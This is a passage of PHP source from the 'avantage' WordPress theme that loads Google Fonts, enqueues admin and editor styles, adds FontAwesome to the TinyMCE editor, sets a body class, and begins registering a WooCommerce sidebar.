':100,200,300,400,500,600,700,800,900,100italic,200italic,300italic,400italic,500italic,600italic,700italic,800italic,900italic'; } } if ( $heading_supertitle_font != '' ) { if ( $heading_supertitle_font == 'no_change' ) { $heading_supertitle_font = BoldThemes_Customize_Default::$data['heading_supertitle_font']; } $font_families[] = $heading_supertitle_font . ':100,200,300,400,500,600,700,800,900,100italic,200italic,300italic,400italic,500italic,600italic,700italic,800italic,900italic'; } else { /* Translators: If there are characters in your language that are not supported by chosen font(s), translate this to 'off'. Do not translate into your own language. */ if ( 'off' !== _x( 'on', 'Lato font: on or off', 'avantage' ) ) { $font_families[] = 'Lato' . ':100,200,300,400,500,600,700,800,900,100italic,200italic,300italic,400italic,500italic,600italic,700italic,800italic,900italic'; } } if ( $button_font != '' ) { if ( $button_font == 'no_change' ) { $button_font = BoldThemes_Customize_Default::$data['button_font']; } $font_families[] = $button_font . ':100,200,300,400,500,600,700,800,900,100italic,200italic,300italic,400italic,500italic,600italic,700italic,800italic,900italic'; } else { /* Translators: If there are characters in your language that are not supported by chosen font(s), translate this to 'off'. Do not translate into your own language. */ if ( 'off' !== _x( 'on', 'Lato font: on or off', 'avantage' ) ) { $font_families[] = 'Lato' . ':100,200,300,400,500,600,700,800,900,100italic,200italic,300italic,400italic,500italic,600italic,700italic,800italic,900italic'; } } if ( count( $font_families ) > 0 ) { $query_args = array( 'family' => urlencode( implode( '|', $font_families ) ), 'subset' => urlencode( 'latin,latin-ext' ), ); $font_url = add_query_arg( $query_args, 'https://fonts.googleapis.com/css' ); wp_enqueue_style( 'avantage-fonts', $font_url, array(), '1.0.0' ); add_editor_style( $font_url ); } } } if ( ! function_exists( 'avantage_load_admin_style' ) ) { function avantage_load_admin_style() { if ( function_exists( 'boldthemes_csscrush_file' ) ) { boldthemes_csscrush_file( get_theme_file_path( 'admin-style.crush.css' ), array( 'source_map' => true, 'minify' => false, 'output_file' => 'admin-style', 'formatter' => 'block', 'boilerplate' => false, 'vars' => BoldThemesFramework::$crush_vars, 'plugins' => array( 'loop', 'ease' ) ) ); } wp_enqueue_style( 'avantage-admin-style', get_parent_theme_file_uri( 'admin-style.css' ) ); require_once( get_parent_theme_file_path( 'admin-style.php' ) ); wp_add_inline_style( 'avantage-admin-style', $admin_style ); } } /** * TinyMCE style */ if ( ! function_exists( 'avantage_theme_add_editor_styles' ) ) { function avantage_theme_add_editor_styles() { add_editor_style( 'admin-style.css' ); } } /** * Add FontAwesome to TinyMCE editor */ if ( ! function_exists( 'avantage_editor_dynamic_styles' ) ) { function avantage_editor_dynamic_styles( $mceInit ) { $styles = '@font-face{font-family:\"FontAwesome\";src:url(\"' . get_parent_theme_file_uri( 'fonts/FontAwesome/FontAwesome.woff' ) . '\") format(\"woff\"),url(\"' . get_parent_theme_file_uri( 'fonts/FontAwesome/FontAwesome.ttf' ) . '\") format(\"truetype\");}'; if ( isset( $mceInit['content_style'] ) ) { $mceInit['content_style'] .= ' ' . ( $styles ) . ' '; } else { $mceInit['content_style'] = $styles . ' '; } return $mceInit; } } /** * Add class to body * * @return string */ if ( ! function_exists( 'avantage_body_class' ) ) { function avantage_body_class( $extra_class ) { if ( boldthemes_get_option( 'heading_style' ) ) { $extra_class[] = 'btHeadingStyle_' . boldthemes_get_option( 'heading_style' ); } return $extra_class; } } /** * Shop sidebar */ if ( ! function_exists( 'avantage_widget_area' ) ) { function avantage_widget_area() { if ( class_exists( 'woocommerce' ) ) { register_sidebar( array ( 'name' => esc_html__( 'Shop Sidebar', 'avantage' ), 'id' => 'bt_shop_sidebar', 'description' => 'WooCommerce sidebar', 'before_widget' => '